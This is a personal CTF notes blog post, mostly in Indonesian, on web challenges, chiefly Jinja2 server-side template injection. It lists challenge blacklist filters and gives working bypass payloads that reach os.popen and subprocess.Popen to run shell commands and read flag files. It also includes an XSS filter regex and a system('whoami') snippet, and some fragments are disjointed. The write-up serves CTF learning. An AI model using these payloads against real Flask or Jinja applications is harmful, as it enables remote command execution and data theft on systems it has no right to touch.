Gafna Blog

Back

Ini adalah catetan saya yang dibuat secara personal berdasarkan pengalaman saya yang telah mengerjakan ctf selama ini

Web#

SSTI#

ada chall ini, diberikan program berikut:

security_filter.py
def security_filter(user_input):
 blacklist = ["%", "\\", "/", "\"", "'", "`", "|", " ", "[", "]", "+","init", "subprocess", "globlas", "config", "update", "mro", "subclasses",
"class", "base", "builtins", "cycler", "joiner", "namespace", "lipsum"]

 for word in blacklist:
    if word in user_input:
        return False
 return True
py

payload untuk bypass : {{url_for.__globals__.os.popen(request.headers.tel).read()}}

req header:

atau bisa juga

{{url_for.__globals__.os.popen(request.args.a).read()}}
txt

The regex expression is /^[0–9a-z ]+$/i

  • Only numbers and lowercase
  • Key insensitive

The Regex filter bypass is:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/




{system('whoami')

}

plaintext

blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
            'write', 'eval', 'exec', 'system', 'popen', 'open',
            'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
            'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
            'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
            'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
            'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
            'popen', 'builtins', 'global']
py

pertama cari dulu class2 nya pake ini:

{{ dict.__base__.__subclasses__()[50:100] }}
plaintext

intinya kita harus dapetin class seperti Popopen buat bisa ngelakuin command, nah kita harus cari di index mana, jadi bisa pake script ini buat nyari biar ga cape nge brute:

misal kita dapet class subprocess.Popen di index 371 kita tinggal masukin command:

{{ dict.__base__.__subclasses__()[371]("cat /flag.txt", shell=True, stdout=-1).communicate() }}
plaintext

tapi untuk chall ini, letak flag di letakkan di luar main dir /app, sedangkan flag di taruh di /, sehingga kita bisa modifikasi command nya jadi:

{{ dict.__base__.__subclasses__()[371]("for f in /?*.txt; do cat $f; done", shell=True, stdout=-1).communicate() }}
plaintext
CTF Field Notes
https://gafnaa.vercel.app/blog/ctf-notes
Author Gafna Al Faatiha Prabowo
Published at July 25, 2025